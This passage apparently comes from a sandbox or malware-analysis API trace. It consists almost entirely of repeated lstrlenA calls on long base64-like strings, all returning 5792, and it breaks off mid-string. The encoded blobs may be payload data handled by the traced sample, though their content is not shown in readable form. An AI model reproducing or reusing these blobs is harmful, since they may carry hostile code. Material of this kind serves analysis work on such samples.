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") returned 5792 [0042.880] lstrlenA (lpString="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") returned 5792 [0042.880] lstrlenA (lpString="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") returned 5792 [0042.880] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CErOIcj/44TH/51GoHl5EfkG3f+ew2nb1YTiXbpn1RL3mBkXlplnjtmtnqobVFqvqHE8MS/80vPEVDx5f+EwcsmDicF79nKdrK+MFDmWIPfGEjuZHoSpu2Kls6XQkEqarD7k92x3+pcixC0T1MbnGqMBlAMJ38CRIqE5nH71RK3VwmK5KIrAh0R2vZ8qYJPmg75RdH/eJcF6Z35DMvVuyDqpYXOlyryaYb5PDLn8UOULsboAmXl1s7sJFW+WkiGQPPbh9ZiAof7QR/x1ZwaENHdnb28y7AHCF+Int5y1ocyt27nQyOHLuWFIvDtwZDbS2GJvewJCqj+wAXxqZT2rTGokNXqiT3LJE1KYoiEMqVAZh876Pb17V7Zs8+21vFbGSNgGYINYaR3a8uMuMw/cEQoQkUq1xhXMdw0LbrMh2Ey58AYJjKEO13YBgHLcdpBSQDhp3Uzm6FplQcIuBF5B+aW/+E3/+/ZPjpVIgjg2pNvlFa2BKnWanJjqDuVQn8KV4pggJ526RyX2fBTUah1d17kQB1ILlXha2IY052vHhS4+Fu16rI4Q6xIh2rklxQrbLZ1IarjrAUF48abLVK3LUGtA5cM8J0QgJoVD4BXSiGcji3Nr9pvHaiUIv/xN1EmbWvd3bDcjzcF+UTBaQd40Dm/1EKhBRtcOvqVz2IGXlxPSL8VopZi+3YuV4zFhiTF7+JRlfjRfYt3PyhoMD6/4HPWkALX56Y8YFeqras6EdmeyPN1KrtYvSlfD2o/z5N6AszxUaoWuNKsq1jFHxmrh/lWJOhNGqeCmeV6GFDHanKMacrpq7D+br3K2v7I2HndjVTaepOXVPzQjNpleafUuvZ1KIZpJeTHVoAtZLpThtgdFLerpL5BCAc6JJ+5aK6CRQ1pDOia4gAJkJCqUiG0oS8u6Hl2KgrmCTT4igU96Kxhz27vTMyzRTTQ59RTnEJT1off2I0RpYu2VvLDFsk5XxC/4ZcUHvkVrc/fR1poftQK9N4U+Wng94T4ww/aHa2jmPS6iPl/XRdaLDUIOcD+GT7Ti4i865/R54tukuJeZJX5wTdPFQcOCs3iWH6Wf+/tG9VsJ6llp/0FegWB7+mY6CQ8osZ6vEmKxl+t1JJW8hBRQcWoQnRJUoxCfdLJCGAwZw1ILyazzKXM380XgHn0Mu0vZIJpaISqd9C4s+Gb6qXioKJmb7o4ZyZn7utlOaX4aPtIX5ehq6uPr26vDhJ8E8l1Xwk86ZYRIbpfMqxySTAxNTcSKr/WflTh7lF/1ijCgtZ2vhp4zFgrHFL+ipkJ/rNmoOoVXfMpr1SUtpGfJDGQ/RGf7pku0mJQV6+VC8CEKo9iO2EcJ0y6OdoTGUD2zvM3lNh77UWLeGARUrOV5/tSLh8FgcruOtz8tdlNzbcEPhF+5snJs+/ey9sOqIdiI20SpxE/WnmmZ6SCVgDkxAI7YKP+cNcjAFOaxFJO/uaFtMVH7letwAWEj2Z/BXtgVI165tON581w8EMGiyGm9LJ16TwjbjNNy